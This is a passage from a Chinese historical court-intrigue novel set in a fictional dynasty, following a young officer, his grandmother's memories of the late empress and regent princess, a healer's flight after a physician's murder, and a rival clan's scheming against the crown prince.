“仪明啊?”梁国眼前浮现沈仪明肉嘟嘟的脸,不禁笑了起来:“是个好孩子,他出生在南边,我也只见过他一回,和他父亲小时候一个样,人却鬼灵精怪得很,特别讨喜。不过,你怎么见到他的?”
“孙儿应太子之邀去东宫探望燕王殿下,这便遇见了仪明,他带着郡王的礼物拜访长平公主和燕王。”
闻言,梁国面含惋惜,“哎啊,今有岁末宫宴,人人欢悦,我倒忘记了这些事。”
“怎么了祖母?”
“今天是燕王的生辰。”
张永一一怔,“在宁远的两年里,我从未听殿下提起过……”
梁国叹息:“因为今天也是陈皇后的祭日。想当年皇后生产,一连四胎都顺顺当当的,就在生燕王的时候出血不止,小孩保住了大人来不及,就去了。”
她伸手轻抚张永一的眉眼,“生产就是阎王殿前走一遭,你母亲生你时也遭了大罪,此后调养了好几年,皇后一连生五个,长平公主与燕王殿下相差不过一岁,终究是伤了根本没挺过来……”
张永一只缄口,不知如何接话。
索性,经往事一点,记忆的陈卷被燃破了一个口子,就此轰轰烈烈的烧了起来,梁国不需他的回应,也能自顾自说下去:“今天,好像也是她的祭日……那年陛下才登基,百废俱兴,那次拖到新年第一天的岁末宫宴的意义就更加紧要,她便……她便病倒在了梅园里。络儿,你既去了东宫,便见过那梅园了,就在那里,冰天雪地里,她便去了……”
“她是谁?”
梁国按去眼角的泪光,“我的十姐姐,就是辅国啊,她出降时受封兖国公主,后来先帝病危,陛下是孝子,要在先帝床前侍奉汤药,便将监国大权交给了她。她还是太累了,哪怕有柳先生他们帮着,她还是太累了,又要扫除逆党,还要操持陛下的登基祭祀、选后娶妃事宜,前朝后宫哪处都离不开她。恰好那时,她的驸马郇侯暴毙——”
想起在仪銮殿上对襄阳侯未得解答的好奇,张永一试探问:“暴毙?是有什么隐情吗?”
“逆党报复,真是不虞之灾。我记得那天,郇侯刚好应诏入宫,结果还没过启明门就被奸人刺杀——那份为他弟弟郇翾请封世子的奏疏便成了他的绝笔。”
梁国再叹:“他们两个少年携手,经风历雨,正是雨过天晴之时……”
张永一垂首。
这是怎样毁天灭地的一场打击。
“陈皇后是前礼部尚书陈阵的孙女,是兖国牵的线,经内阁一致同意立为皇后。那么多年里,除了一个从未得宠的郭贵妃,整个后宫里就只有陈皇后一个,后来有了霍夫人,但帝后之情无与伦比。在同样的一天里,失去这样两个最重要的人,陛下……”
张永一心一紧。
莫非这就是沈斫痛苦的根源。
莫须有。
确实是莫须有的苦痛。
陛下这么爱陈皇后,这么宠爱皇后的儿女,长女适襄阳侯世子,二子据东宫,三子为心肝,四女恣意不婚配,独独对幺儿严苛至此。他观沈斫其人,身姿端正、雅量非凡,文武双全、六艺俱通,性情温和宽顺、聪敏歧嶷,怎么看也不是会令君父厌恶如狼鼠、远避如蛇蝎的少年。
不应该,陛下不该是如此刻薄寡恩的人。
张永一胡乱扯出一点便追问:“孙儿听说霍夫人的儿子陈王晋封兖王,还有十个多月满十四岁,这些是怎么回事?”
梁国三叹:“多么巧的一个巧合,陈王生于十月二十五,那天正是兖国的生辰,不过以前兖国就不爱过生辰。唉,陈王从小就得陛下喜爱,常常把他带在身边亲自教养,陈王善作文,才思敏捷,这更得陛下的心意。他与燕王差不了几岁,这一对比,亲疏爱恶便更加刺眼。朝中都说,陛下破了陈规晋陈王为兖王,其实是想将陈王留在身边,一破再破,不让陈王年幼就蕃……”
张永一的心猛然下坠。
他立即明白了沈磐的愤怒。
他一张口,缓了许久才听见自己声音里的酸涩:“兖国——不,是辅国长公主,她和陛下的姐弟情谊很深吗?”
“是啊”,梁国脸上的笑容有了那么一点的欣慰,却添了更多的讳莫如深,她避开反问:“在宫里有见到襄阳侯吗?”
“嗯,见到了,还在启明门见到了郇世子,他们父子长得几乎一模一样。”
梁国笑叹:“那是他的幺儿郇昇,是元辅冉先生的门生,在皇城兵马司做事,比他哥哥世子郇渰生得更像襄阳侯。襄阳侯夫妇育有三个孩子,世子尚的是陛下最宠爱的晋国公主,排在中间的是个女儿郇萦,非常欢脱的小姑娘,跟着她的姑姑常年在外游山玩水、并不在京。”
“是襄阳侯的亲妹妹?”
“那是自然,他们两个是龙凤胎。兖国走后,将公主府留给了小姑郇旒,她在族中排行第八,所以都喊她八娘。她无心嫁人,很早就想着要出去逛逛山河,襄阳侯也不约束她,她便带着兖国留下来的婢女月珰、夏至等一并出京,前些年兖国身边的老人接连去世,八娘就留在了苏州,郇萦也不喜欢拘束,襄阳侯就将女儿送到了妹妹身边作伴。”
说着,梁国更加艳羡:“唉,兖国是少见的洒落开明之人,也是可以为了是非对错义无反顾的人,我比不上她,也学不了她。你问她和陛下的感情?那自然比至亲的亲姐弟还要亲近。
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我记得那时南海道叛乱,宗室亲王各自推诿,我的九哥秦王为了逃避,不惜摔断自己的腿……唉,最后就是兖国带着十二三岁的陛下挺身而出,荡平内乱、巩固海防。那时我就在想,我这个十姐姐简直不像个女人。后来,大楚与义律议和,我差点就要去和亲,彼时我已经怀了你父亲——”
见张永一微讶,梁国不禁泪涌:“络儿,你也觉得未婚先孕,或者说,为了不和亲而与你祖父私相授受很——”
“不,祖母……”
梁国不想听他的安慰虚言,勉强地笑了笑,真实道:“络儿,祖母是个胆小畏事的人。那时候,我很害怕,害怕你祖父敢做不敢当,又害怕腹中孩儿不争气,更害怕父皇会处置我。那时,所有人都看着我的笑话,或者都想看我的下场,只有兖国,只有她替我说话。她正是因为替我说话,遭了逆王的为难。后来我的母妃病重,所有人都盼着她死,也只有兖国替我请孙太医悉心照看……再后来我见她一步步登顶,那从来都是女子禁忌的承天殿也去了,还在陛下登基那日,带着我们一起翟衣在身,上承天殿。我只觉得,说她不像女子像个男子便像在羞辱她,男人能做的她都做了,男人不能做的她也做了,她所作所为无关性别……我敬佩她,越敬佩她,越觉自己的懦弱无能。”
她将张永一的手捧到掌心,“络儿,从前我一直想把你父亲培养成这个样子,然后我后悔了——络儿,祖母是个胆小鬼……”
张永一想为她拭泪,手却不忍脱开她的掌心。
“络儿,祖母求你,不要抛下祖母……”
张永一忍不住自己泪意,将自己的脸埋在梁国瘦弱的肩膀。
这肩膀是如此弱不禁风,却让人有泰山在旁的安稳感。
“祖母,络儿不走,络儿绝不会抛下祖母,祖母也不要抛弃络儿。”
“络儿,人死如灯灭,祖母会死的……”
“祖母会长命百岁。”
张永一听不见梁国哭泣里,那几不可闻的叹息。
**
过了岁末宫宴,第二天一大早张绰就来梁国公主府接张永一回张家老宅。张永一在公主府长大,对张家老宅的记忆只停留于那座威严的祠堂。不点灯时,这里是棺材,点了灯,这里又是炼狱。张永一从小就不喜欢这个压抑的地方,可这么多年过去了,他对张家族人的印象却只剩下了这处等级森严的祠堂。
在叔伯口中了解族兄族弟此后的命运后,他只想逃命似的逃出这个连口气都喘不上的囚笼。
可梁国公主府未必不是另一个牢笼。
但此地和彼地还是有区别的。
张永一回来的时候已经过午,听门房说他回来得不巧,元良郡王带着他的一对公子刚从正门离开,他们走的也不是同一条路,这便彻底错过。
听祖母说,元良郡王与父亲是从小嬉戏的“过命”交情。“从小”容易解释,他父亲还被抱在手中不会说话时就和元良认识了;“嬉戏”说起来也容易,就是一起从后院卧房玩闹至前堂书院的那种正经的嬉戏;“交情”说来也简单,有些感情的往来、事物的交换、经历的分担,这便是交情。
但“过命”十分特别。
据说是升平朝一次逆王宫变,年幼的元良郡王和他年幼的父亲因为都想看一对养在西宫的鹦鹉,因此他们都早早离开了被逆王包围埋伏的千秋阁,于是逃出生天。
原来是鹦鹉之交。
张永一现在还记得这对鹦鹉,一只叫“红胜火”,一只叫“绿如蓝”。不过后来从未听说过元良郡王再养几只鹦鹉追忆过去,据说是和这对鹦鹉的死因有关,但关于死因,众人讳莫如深。
元良来访,这本该是极其高兴的事情。
可张永一行至正房,却见院中人神情凝重,似有不好的事情发生。
“祖母?元良郡王来过了?”
梁国勉强应道:“是,还给你带了礼物,你瞧瞧,是张弓,还有一管笔。”
张永一一见那张弓就诺不开眼,一碰就爱不释手,但他还记得气氛的诡变,就边欣赏着手中弓边问着心中事:“祖母,是发生什么事情了吗?孙儿总觉得祖母今天的笑容不似从前松快。”
7. 第七章 永夜灯(二)
梁国长叹:“家中无事,是宫里。”
张永一搀扶梁国下地踱步,“宫里?与燕王殿下有关?”
梁国叹气:“无关,是鲁国大长公主喜丧,你元良王叔说,宫里讨论着要给大长公主的曾孙张吉鹊荫一个爵,又想将他放到朱雀卫里做事。他今年不过十四岁,父亲张平涯是临川郡主的爱子,现任东都兵马司指挥副使,张吉鹊要入十二卫,估计也能得一个千户。”
张永一虽是武官,但俗为文官独有的细腻心思一点不缺,他如何听不出祖母话中的不满,自己刀枪火海里才挣出一个千户之位,十四岁的张吉鹊却易如反掌。
不过,他刚要开口,梁国又抢着道:“其实我们两家也是沾亲带故的,祖上都是一支,不过后来分家,一边走了文道、一边去闯武途,时间一久便少了往来。后面到张平涯父辈一代,他们张家迎娶郡主,郡主又和兖国亲近,兖国嫁了郇海山,郇海山是赵王臂膀,咱们就更少与之往来。”
能岔开话题,张永一求之不得,他连忙接话:“今天在老宅,孙儿见到了襄阳侯张夫人。”
“玫柔?”梁国笑,“是啊,她也是本家的,升平年间他父亲张长龄不过兵部五品郎中,与襄阳侯府的门第是天上地下,后来还是兖国替襄阳侯登门说亲、成就了这桩良缘。”
张永一笑着应和,刚起了念头要将这个危险的话头岔过,就被梁国抓了现形,“络儿,你真该考虑考虑成家了。”
“嗯。”
见孙儿应得如此乖巧,梁国先前因为世态炎凉而伤感的心顿时服帖,可这个窟窿补上了,还有别的窟窿恭候已久,“络儿,祖母也不期望你尚主,高门贵女也不必,只需要有一个知冷知热的人照顾你,祖母这才安心。以后你大概也会留在兵部,不留兵部大概就去皇城兵马司,十二卫或也可试试,到时候祖母进宫亲自向陛下讨一个恩情,不让你陷入这样那样的纷争,平安度日便可。”
“祖母,功名之事,让孙儿自己去博。”
梁国扣着他的手,轻轻摇头,“你还太年轻了,三句不离燕王,心里想什么都写在脸上,旁人一目了然,这很不好。”
张永一微讶。
“裘衣藏针之事陛下不去追究,但不代表就没有暗涌。你元良王叔也和我说了,宫里的军卫们也行起党同伐异之事,搞得化隆乌烟瘴气,不是个安生地。若放在以前,陈皇后还在抑或是柳先生还在,怎会有这些事?可现在陛下宠爱陈王,太宠爱陈王了,朝中尽是霍氏同党,东宫虽立,可夺储意浓。”
梁国双目含忧,“络儿,你若和燕王走得太近,恐祸及自身!祖母知道你与他是同袍之谊、生死之交,但神仙斗法、蝼蚁遭殃。祖母不愿我的孙儿是个无情无义的人,但也不想见你因为重情重义而断送性命!”
张永一斟酌片刻,“陛下文韬武略,虽然加封霍夫人之子为陈王,又要晋封兖王,以示无上荣宠,但陛下心明眼亮,对幼子的宠爱断然不会越过长幼有序的规矩。况且,‘陈’并非佳号,又非食邑富饶之地,陈王自幼受宠,陛下如何会拟‘陈’为封号?三国时,曹魏公子、陈王子建,也曾是魏武帝的心头肉,而魏文帝,武帝曾言‘吾之不幸,尔曹之大幸’,厌恶打压至极,立嗣风波也惊涛骇浪——”
“络儿,陛下不是曹操,太子或者燕王也不是曹丕,此陈王更非彼陈王!”
梁国情绪激动起来,“祖母是亲眼见过什么是夺储之争你死我活!所以祖母最怕你沾上这些,好在这些事与咱家无关,那就连边也不要沾!祖母真的害怕,害怕你有什么三长两短……”
张永一搂住已经站不住的梁国长公主,“祖母,不会有事的。”
**
“公子!公子!”
张永一正溺于一梦生死难求,突然被人摇醒,如重见天日,不禁舒了一大口浊气。可一睁眼,就着昏暗只有月光的视线一看,入目的居然是一张鬼脸。
“啊!”
张永一“噌”地从枕头下拔出匕首,冰凉的月光经刀锋折射,寒意更胜,等那寒光射到了这张鬼脸上,又打回自己的瞳孔,他这才看见这突然闯入自己卧房的丧鬼居然是崖然老头。
“是你?”张永一松了一口气,便将架在此人脖颈间骇人的匕首收入鞘中。
崖然本着急说话,看见张永一顺手将匕首重又藏入枕头底下,不禁多嘴:“惶恐终日、久思多虑,不是长久兆。”
张永一掀开被褥坐起,又舒一口气,边摸索了点灯边解释:“在军中,不得不防备。”
“这里不是军营,是公子的家。”
一点豆大的火苗从灯芯处畏缩地蹿出,可播散的光足以将整个小而温馨的里间照亮。
“习惯了。”
“要改。”
张永一披了衣裳,“改不了。”
里间只有一张凳,崖然毫不客气捡来坐下,“不改就是一条死路。”
张永一系衣带的手一顿,迎着灯光看向崖然。
“我说的是长公主——”他歪着脖子,眼珠子在张永一身上一溜,“也是你。”
张永一穿好外衣,坐回床边,“出什么事情了吗?大半夜的。”
崖然却不慌不忙继续道:“你其实也没有长公主那么严重,睡得这么沉,让老道摇人摇得半条命都摇掉了。”
“是祖母出事了?”
崖然摇头:“老道我给长公主开的安神药,不睡足睡饱是决计不会醒的。你也是,看着傻愣愣没心眼,稀里糊涂将我这个来路不明的老巫头带回家,还敢让陌生人给你家人开药治病……唉,年纪轻轻的,又是个兵鲁子,下了战场,本该没有这么多忧虑……你得当心了,早早将心结解开,不然影响终身。”
他本想说“我没什么心结”,最后还是颔首领教。
见他这副顺从谦卑的模样,崖然的气叹得更多:“其实老道年轻的时候,也没有这么啰嗦,到底是上了年纪……好吧,我直说,公子,老道想要早早离开化隆,越早越好。”
张永一连疑心都来不及起,崖然便正色道:“公子,老道真是怕,怕极了。”
他神色不似作假。
“老道做了个梦,梦见……”崖然长叹,“好吧,公子,老道确实瞒了你很多事,现在都与你讲也无妨,你得听仔细了。”
张永一心感不祥。
果然,崖然一开口,就是森森陈腐气:“老道有个徒侄,正是前几天无端暴毙的孙太医。”
“你是小年轻,升平年间的事情你很多都不了解,不过你听说过辅国长公主吧?”
张永一呼吸一窒。
又是辅国长公主。
说起往事,崖然鲜见伤感:“老道从前在西南制毒贩毒,助纣为虐,真是扒皮下油锅一千遍都赎不了罪;后来被国主感化收留,哦,就是辅国长公主,跟着国主又遇见了吾师、见了徒侄,老道便发誓要洗心革面、为自己赎罪。三日前——”
崖然拧一把眼泪,“三日前,我的徒侄去城外二水间给窦宇将军治病,回来时顺便去了双塔寺,给国主上香。莫名其妙的,他摔入了后山一大水坑,发了高烧,被同行的锦麟卫送回家后,老道从辅国府出来,去照顾他,但没一会儿,他就咽气了。”
他枯坐在板凳上,像座被恶意拔光绿意的荒丘。
过了许久,崖然才哭着道:“他是哑巴,拼着最后的力气写了两个字……”
他的哭声像静夜风嘶狐啼,这样的悚然和凄凉里,他咬牙哭咽:“是‘陛下’——”
“是陛下要杀他!”
“他从岭南的荒山救下国主,国主将他托付给陛下,他向陛下献出了所有!”
“陛下却要杀他!”
“居然是陛下要杀了他!”
“他是那么忠贞的人,陛下有什么皇室秘辛不能为外人所知,他是哑巴!陛下为什么要杀了他!”
“公子!老道怕!怕那些锦麟卫找上门来!老道怕死,还怕拖累了公子!老道给长公主诊脉,明白长公主是不会放你走的,公子又是忠孝之人,也不会弃祖母于不顾。可是公子,这个化隆,这处炼狱,老道是一会儿也呆不得了!”
“公子!求公子送老道走!”
屋外应又下起了飒飒雪。
冷夜沉沉,四壁寂寥,只余崖然的哭声。
张永一沉默许久,这才轻声应道:“好,我有一个法子,但成不成看你。”
“公子但说。”
张永一摸黑走出里间,再回来时手
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上端着笔墨纸砚。
“皇后第五子封燕王,在宁远抗击长桫之战里受了伤,后来又在冰天雪地里跪伤了腿。他暂定初七便出发北上,届时你可充作医士兵卒随行。不过,得有投名状。”
崖然抹了脸,一手执笔一手研墨,“公子但述燕王病症。”
砚台中的墨早冻成一块。
**
张绰曾听长缨卫当值的故友透露,长宁公主会在初三日离宫,转往宁安侯府拜见大儒宁晨铎。张永一这便知道了,但他对化隆的街道巷里不熟,老早就摸索出门,结果区区宁安侯府扬鞭即是,他就只能在宁安侯府附近的长街里晃荡。
升平末年,因逆王谋乱而被清算牵连者数十家,宁安侯府也不例外。彼时此宅还叫宁国公府,横贯长街东西,广梁大门,金漆、兽面、锡环,处处写尽“高门大户”四字巍峨。而今削公为侯,年中清晨,虽有些凄凉却也不显破败。
张永一提前问过长公主府中的老人,知道此时当家的宁安侯宁德元是菁明书院大儒宁晨铎的侄子,叔侄两个关系亲密。他父亲少年时曾也在菁明书院听过宁晨铎的教诲,若一会儿公主来了没拦住,他厚着脸皮登堂入室拜见“师祖”,倒也勉强说得过去。
他正想着,长平公主的车架就来了,也果不其然,他怎么拦得住长平公主,宁安侯亲自出门迎接,便是宁晨铎,居然也在二门恭候。
张永一不得不顶着沈磐质疑的目光,硬着头皮迈进了宁安侯府的门槛。好在,宁晨铎贴心替他解围,主动承了他们这番萍水相逢的陌生“师门祖孙”之情。
一路沉默地跟着沈磐一起走到茶室,还没进门,沈磐忽然止步,在宁晨铎率先进门后堵住张永一。
张永一一惊,烙铁般滚在脚下的视线这才抬了起来,一掠而过,将沈磐今日装束一览无余。她似是特别喜欢桃红色,鲁国长公主喜丧,她便只着了一身浅淡的绯红,却如同胜日天边被朝霞映红的云彩。不过张永一没心思去看她的衣裳妆容,只在与之目光相触的刹那,那夜东宫廊下的情状便不请自来,脑中顿时一片地崩山摧。
身上像被谁点了火,突然就热了起来。
张永一不自主地后退半步。
沈磐皱眉,低声询道:“张千户今日找本宫有何贵干?总不会也是来拜见与你毫不相熟的宁先生吧?”
张永一垂下视线,喉头一涩,斟酌着字句刚要开口辩解,就见低落的目光之中,沈磐的裙摆一扬,已然踏着缂花登云履迈入了茶室。
与其说这是一间茶室,不如说是琴房。入目琴台上就摆着一把连珠式桐木琴,台后墙壁上还挂着一把,虽用布蒙着,却看得出是最简洁的正合式。左厢镂空屏风后还摆了一把,也用布蒙着,看不出形制。
宁晨铎与两人让过主次,自己坐在了琴后,沈磐不讲虚礼直接跪坐在他琴前,张永一便在琴尾处,半对着沈磐坐了下来。
甫一坐定,沈磐便道:“先生,斫儿因为腿脚不便,只能央我前来向先生致歉,先生有什么话、有什么东西皆可交予我,我必然转达。”
扫了一眼不自然的张永一,见沈磐一点也没有不自然的局促,宁晨铎便开口叹道:“其实也没什么,只是近年臣身体越发衰败,恐时日无多。臣又常年不见燕王殿下,一念及殿下当年在书院勤恳求学,备感思念,这才斗胆递信东宫,想在狐死首丘前在与燕王殿下见上一面、寥叙师生之情。”
沈磐还没开口,这劝慰的心思便写满了脸上,宁晨铎笑道:“燕王殿下年轻,但几年前,他身上已然不多见年少意气,现今自宁远凯旋而归,更沉如深渊、稳如泰山。不过他到底还是少年人,少年人还是需要一些朝气,公主与燕王姐弟情深,公主多多劝慰,想来燕王殿下会听的。”
沈磐不自主叹息,“先生是斫儿极其敬重的恩师,有些话先生来说,或比我这个姐姐有用。”
宁晨铎笑着摇头,习惯性地一压手指便要按弦。
见状,沈磐微笑:“久不闻先生抚琴,父皇都在念叨,不知今日,我与张千户是否有幸能暂赏仙乐?”
“公主想听什么曲子?”
沈磐放眼四壁,目光透过镂空屏风落在了那架被盖住的琴上。
“先生随意。”
8. 第八章 永夜灯(三)
宁晨铎也看去,“那便来一曲《暗室逢灯》。”
“是何人所谱?”
“臣故友祝遗温所作。”
沈磐若有所想,“前朝阎文忠公二次南巡,北上途径苏州曾有‘逢花不折’的美谈,这趣闻里的‘花’就是一位名叫‘朱遗温’的琴师的徒弟,只是不知这位‘朱遗温’与先生的旧友可有什么关系?”
宁晨铎拨弦,“他们是同一人。”
琴歌已起,气脉通畅,断无中道叫停的道理,沈磐安坐,与张永一静赏此曲中意。
暗室逢灯,绝渡逢舟,多么值得高兴的场景。
沈磐心思不巧,于琴上更了然无意,但宁晨铎的怅然惋惜意直如水上风过、天中云熄,便是张永一这样的行伍之人都听得五内俱撼,何况沈磐。
宁晨铎按灭余音,“因为一些往事,他改姓自保。”
**
“说吧,你究竟有什么事情。”
行至马车旁,张永一这才小心地将怀中信笺交到沈磐手上。
这封信沾着张永一的体温,还是热的。
“何意?”
“劳公主将此信转呈给太子,性命攸关,臣恳求公主相助。”
说不上来是什么滋味,沈磐手上多了件东西,心里却少了点什么。
“好,若有回复,自有长缨卫找你。”
说罢,沈磐便褰裙上车,等她已要弓身走入车厢,就见自己的右手还搭在张永一掌上。他的手掌阔大而温暖,生着各种茧,摩挲过时只觉得又硬又劲,像是一粒石子膈在她缠紧的腰带里,让人很不舒服。
她连忙抽手,他也连忙低头。
张永一揖礼:“恭送殿下。”
**
劳碌的日子总过得很快,张永一自宁安侯府回来,就被长公主催着各处拜年。这就是家族庞大的坏处了,直到初五戌正之时,张永一还跟着堂兄张绰在化隆街头缓辔骑马,从上家叔伯处赶场子般赶往张家祖宅。
身旁没有长辈约束,张绰终于逮住这闲散时刻,轻声询问起还在神游的张永一:“永一,我听说昨日东宫派了长缨卫到诸位宗亲府上赐礼,头一个就去的公主府,那太子可说什么别的话?”
张永一回神:“没什么,就是寻常的岁贺赐福。堂兄可还在担心裘衣藏针之案?”
“虽然没有牵连上咱家,可我思来想去,还是不能彻底放心。”
张永一说不出安慰的言语,因为他心里也横梗此事难以化解。其实昨日长缨卫主要目的是带走崖然。太子已然知道锦麟卫谋害了孙太医,但长缨卫传来的密信上说,太子也认为是因陛下忌惮孙太医掌握皇家宫闱秘事过多,又或者近来因为什么缘故触怒龙颜,陛下这才动了杀心,是不慎漏出了帝王刻薄,太子身为人子,不敢忤逆君父,但可尽力补偿。
张永一不自主叹气。
“怎么了永一?有什么烦心事?”
张永一摇头。
崖然平安抵达东宫,即刻给燕王调理起来,这是件勉强值得高兴的事。
可这样的喜悦,只能他一人独占。
张永一轻笑。
总归是好事。
“快走吧,起风了。”
张绰刚这么说,巷子另一头拐角处也有个男人这么劝了:“爷,起风了,咱们赶紧回去吧,老爷明天就要出发去长安废都,这些乐子以后再回味也不迟。”
张永一和张绰都翘首望去。就见一人牵着绳,一人大摇大摆坐在马上摇头晃脑,天色暗,周围只有那牵马仆人手中一盏风灯忽闪忽闪,他们看不清这一对主仆的面容,但声音听得格外响亮。
那男人笑道:“不急不急,爷刚卸了浊气,正要迎风纾发。”
“嘿嘿,小的没骗您吧,这处零碎嫁的滋味果真不俗吧?”
那男人回味片刻,大着舌头赞:“怎能用不俗来评价?当是天上地下绝无仅有的妙!我道从前曹魏爱人妻,原来要的都是这些个味道,古人诚不欺我!”
两个人俱是大笑。
张永一没听明白他们的意思,但大致知道这也是种特殊的灯红酒绿,便没有多问张绰,兄弟两个沉默地放马,刚要与这两人擦身而过,又听那仆人提起:“这家真是,我瞧了这太太身边的丫头也个个销魂可怜得很,给了点银子就半推半就极尽销魂能事……”
那个主人大笑:“哈哈,山风你自个儿也是假公济私,便宜你自己来了。”
“爷您这说的什么话,小的陪爷出来,不就是要找人把爷伺候好了的吗?”仆人打了一个喷嚏,主仆两个都大笑起来。
“官大了就是不好啊,礼部的,就贪那么点供科场布置的破银子,结果就给法办了,病死刑部狱,一家上下妻女零落无养。啧啧,这隔壁长缨卫就不一样啊——”
“怎么了?长缨卫的舌根可不是你能嚼的。”
“是是是!”
张氏兄弟本已经要拐出暗巷,忽听这主仆二人扯上了长缨卫,张绰连忙勒马,张永一也连忙控缰谛听。
他们的聊天声已经很轻了,但四下万籁俱寂,张永一还是听得清清楚楚:“小的只是听说,这家人隔壁住了个长缨卫,年前就暴毙死了,结果户没销,银钱照发不误!爷您说奇不奇怪。”
“这必然是给人顶替了呢,但没想到这人还算有点良心……”
张绰见张永一神色凝重,轻声解释:“冒名顶替,常有的事,柳文正公主持朝政时曾清理过一波积户冒户,但这都多少年过去了,内阁里谁又能强干得过柳先生?大多要向时局低头、向权贵让步,这些积习恶习就又长了起来。”
想了想,张绰又道:“不过这种冒名顶替我从未见过,分一点本就不属于自己的轶禄奉养被顶替之人的妻女,这种被人告发的风险,可没几个‘有良心’的人担负得起。”
**
翌日清晨,鸡叫三声,霍开武一睁开眼睛,猛然想到了冒名顶替的关节,一掀开被褥,被冻得哆哆嗦嗦也够不上洗漱,套了裘衣抹了把脸,撞翻了报时伺候的婢女,丧鬼似地扎出房门。
霍府上下都收拾齐整,叔伯兄弟一大堆堵在正堂,闹哄哄的,又衣冠整齐、谈吐非凡。
霍开武一眼就看见自家老子坐在中央,顿时捡回了昨夜被娇娇们弄丢的三魂七魄,脚下抹油,赶忙又冲回了卧房收拾脸面。
要是被老子知道他昨夜逛了暗门子,今早还这么衣冠不整不知礼数地到大庭广众下丢脸,准要揍他。且他们赶着要回长安废都老家,老子气急了将他一起提溜回去到广大宗亲面前鞭笞也说不定。
等霍开武火急火燎地又赶了过来,正堂里的霍氏宗亲已经散了大半,只有自己的小叔霍轶与老子霍辄搭话。
霍辄的左眼,是早年当马前卒在战场上被方台人射瞎的。
人说,眼睛可以用来传情达意。霍辄的左眼没了,自然半分人情也留不住,但保住的右眼常年也犀利刻薄得情池干涸。今日或许是节庆离别的缘故,霍开武少见自家老子的右眼里没有憎恶痛恨,那种有些期待、有些赞肯的温和让人心惊肉跳。
“爹,小叔。”
“你脸够大,让满堂叔伯等你一个人?”
霍开武夹紧下巴,垂手往霍轶处站了站。
“大哥,别说这些了,你不是有很多话要和阿武讲吗?”
霍轶起身将霍开武拉到霍辄眼前,“你这一去长安得有一整个月,一整个月见不到阿武,你不赶紧在离别前多说几句好话?”
霍辄上上下下打量着儿子,“我和他有什么好话可说。”
“嗐,你爹面冷心热,舍不得得很。”
“你住嘴。”
霍轶不管霍辄的呵斥,拉着霍开武就笑:“阿武都长大了,你从前那种耍娃似的养儿子法不成了,你得把他当个男人看,你得放手,让他自己去闯闯看,怎么能呼来喝去还当他是黄口小儿?”
霍辄横了他们叔侄一眼。
外头老管家喊了一声,说是到时辰该准备出门。
霍轶应声出了正堂处理亲族间的人情往来,留霍辄和霍开武这对向来不对头的父子相顾无言。
或许是今天早上父子之间的气氛罕见亲近,霍开武便大着胆子拦了一拦,“爹,儿子有一事要禀告。”
霍辄显见地耐下心,静静等儿子说话。
霍开武备受鼓舞,清晰道:“儿子昨天听手下人说,长缨卫里出了冒名顶替的乱象——”
他这句话没说完,霍辄就抬手止住他的话头,“东宫的事情你别管。”
见霍辄抬腿要走,霍开武不知是猪油蒙了心还是心里本就吃满了猪油,破天荒边追边劝起了他从来一言九鼎不肯转移的父亲,“爹!这是个好机会啊!现在新春伊始,开过年陛下肯定要重整朝野,礴儿马上就要十四了——”
霍辄倏然止步。
三折雕花门外的天光打在他的脸上,投入他炯
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炯有神的右眼,其中的冷意直让霍开武怕得又巽懦地低下头。
“我说了,东宫的小事别管,连带着和东宫有关的所有事都别管!”
霍开武几乎就要答应了,再一次向父亲的权威低头,可他不甘心,尤其是方才霍辄分明应允了要将自己当个男人看待,要让自己去闯,现在却还要用规矩礼数将自己束缚得寸步难行像个龟孙!
他霍然抬头大声道:“爹!这是小事,却也能是扳倒东宫的绝好机会!小事也可以掀起大浪!”
霍辄的额头暴出青筋。
霍轶就是在这时候去而复返的,他一见霍辄动怒,将被阴影死死笼罩的霍开武拉到身边,苦口婆心,“怎么了又怎么了?大过年的好时候,怎么能生气?大哥,快些吧,车马都在等了。”
霍辄临走,狠狠瞪了霍开武一眼。
霍轶手肘捅他一下,“你小子,又闹什么事了?你爹难得这么高兴,刚要把亲卫的权分点给你,这事儿还没彻底定下来,你就来这一出?”
见霍开武委屈巴巴,霍轶又气又笑:“忍忍怎么了?你爹的脾气你难道不清楚?把你老子哄高兴了,这才有甜头!”
“叔!”
霍轶拖着年轻人走了出去,跟着亲友一同欢送霍辄西还长安故里。
“我不管什么事儿,都给我笑,别让你爹回乡路上心里还堵得慌。”
听小叔咬牙切齿,霍开武只能扯出一个既勉强又丧气的笑。
等霍辄的车马彻底消失在霍府前的长巷,霍轶这才悠悠问:“说吧,到底怎么了?”
“小叔,长缨卫里有人搞冒名顶替那一套!”
霍轶皱眉。
霍开武激动地拉着他,“这是绝好的机会!咱们不是一直苦于找不到东宫的把柄吗?这次哪怕东宫不知情,也能借机卸了长缨卫的胳膊,且礴儿马上十四岁,去留不定,不在这时给东宫点颜色,让他们不敢向礴儿下手,满朝文武还晕头转向不知好歹……”
“阿武。”
霍轶的声音又像一盆冷水浇了下来。
“你爹绝对不会答应的。”
“叔!这是为什么!爹也要放弃了吗?就一个兖王的封号,就这么轻易把他打发了?”
霍轶扯住要闹上天的霍开武,“这件事你别管,听话。你爹是为了你好,有些事情你不清楚,就莫要随意插手,总归听你爹的话不会害了你。你若真的在意,我去查,你别管!”
**
隆冬夜深,黎明初晨。
叫晨更鼓鼕鼕已经响三声,一箭黑骑飞掠过化隆城的街坊巷里,踩着第四声鼓响奔上了务本门十字街。街边闹市已逐渐活络,这人背着府军卫镶红边的令旗,频频催动马鞭,头上的风帽翻了他也不管,任凭那帽子砸上街边的面摊,激起了一片尘粉。
摊主的叫骂声刚要去追,这一马一人已经跑没了踪影。
然后是第五声鼓。
第六声。
第七声。
化隆城从无宵禁,只是东北、西北的几处城门在冬半年有短暂的夜禁。再有两声,五更二点就要到了,靖远门正式大开,来往于上林苑乃至东北宁远的车架便能在冬令宵禁之后畅通无阻。
沈斫已坐上了马背,可缰绳还在太子手中攥着,沈磐也一声不吭地踱步跟着,一前一后两个人,将马背上的沈斫“挤”得心神难安。
第八声鼓响已经落在脚下,沈磐抬脚就踏了上去,手中的风灯却被这震天的响动惊得埋头乱窜,短暂动荡了几个弹指后,方才平稳地重新播撒这种燃烧的炽热。
她的心也是这般热的。
望着沈斫的背影,她的眼眶也是这般热的。
城楼鼓手已经扬起了鼓槌,第九声鼓响即将诞世。
靖远门广场上也卷起了一阵雪土旋风。
“隆隆——咚——”
守城的府军卫缓缓拉开城门,官道上的破夜者也拔出了令旗,高喊着“关门”,也不管正对着城门的究竟是怎样的达官显贵,拼了命地迎风驰来。
“指挥使有令!关门——”
那一面令旗不似作伪。
太子蹙眉,招来守在一旁兵甲整齐的长缨卫,“拦住他,责问清楚。”
